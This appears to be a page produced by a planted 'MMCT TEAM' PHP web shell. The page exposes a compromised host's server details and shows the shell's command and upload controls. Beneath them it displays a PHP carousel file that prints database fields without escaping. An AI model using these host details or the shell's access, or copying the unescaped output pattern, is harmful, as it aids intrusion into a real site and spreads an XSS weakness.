MMCT TEAM
Server IP : 103.53.40.154  /  Your IP : 3.139.108.99
Web Server : Apache
System : Linux md-in-35.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User : ppcad7no ( 715)
PHP Version : 8.2.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0750) :  /home2/ppcad7no/samingpvtltd.com/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home2/ppcad7no/samingpvtltd.com/slider.php
    <!-- Carousel Start -->
    <div class="container-fluid p-0">
        <div id="header-carousel" class="carousel slide carousel-fade" data-bs-ride="carousel">
            <div class="carousel-inner">
                                                                 <?php
include 'admin/config.php';
 $sql = "SELECT * FROM tb3_slider";
 $run = mysqli_query($db,$sql);
 while($data = mysqli_fetch_assoc($run)){
 ?>
                <div class="carousel-item <?php echo ($data['id']==1)?'active':'';?>">
                    <img class="w-100" src="img/<?php echo $data['image_name']?>" alt="Image">
                    <div class="carousel-caption d-flex flex-column align-items-center justify-content-center">
                        <div class="p-3" style="max-width: 900px;">
                            <h5 class="text-white text-uppercase"><?php echo $data['line1']?></h5>
                            <h2 class="display-1 text-white mb-md-4"><?php echo $data['line2']?></h2>
                            <h3 class="display-1 text-white mb-md-4"><?php echo $data['line3']?></h3>
                           
                            <!--<a href="#" class="btn btn-secondary py-md-3 px-md-5 rounded-pill">Register</a>-->
                        </div>
                    </div>
                </div>
                <?php
 }
 ?>

                
            </div>
            <button class="carousel-control-prev" type="button" data-bs-target="#header-carousel"
                data-bs-slide="prev">
                <span class="carousel-control-prev-icon" aria-hidden="true"></span>
                <span class="visually-hidden">Previous</span>
            </button>
            <button class="carousel-control-next" type="button" data-bs-target="#header-carousel"
                data-bs-slide="next">
                <span class="carousel-control-next-icon" aria-hidden="true"></span>
                <span class="visually-hidden">Next</span>
            </button>
        </div>
    </div>
    <!-- Carousel End -->

MMCT - 2023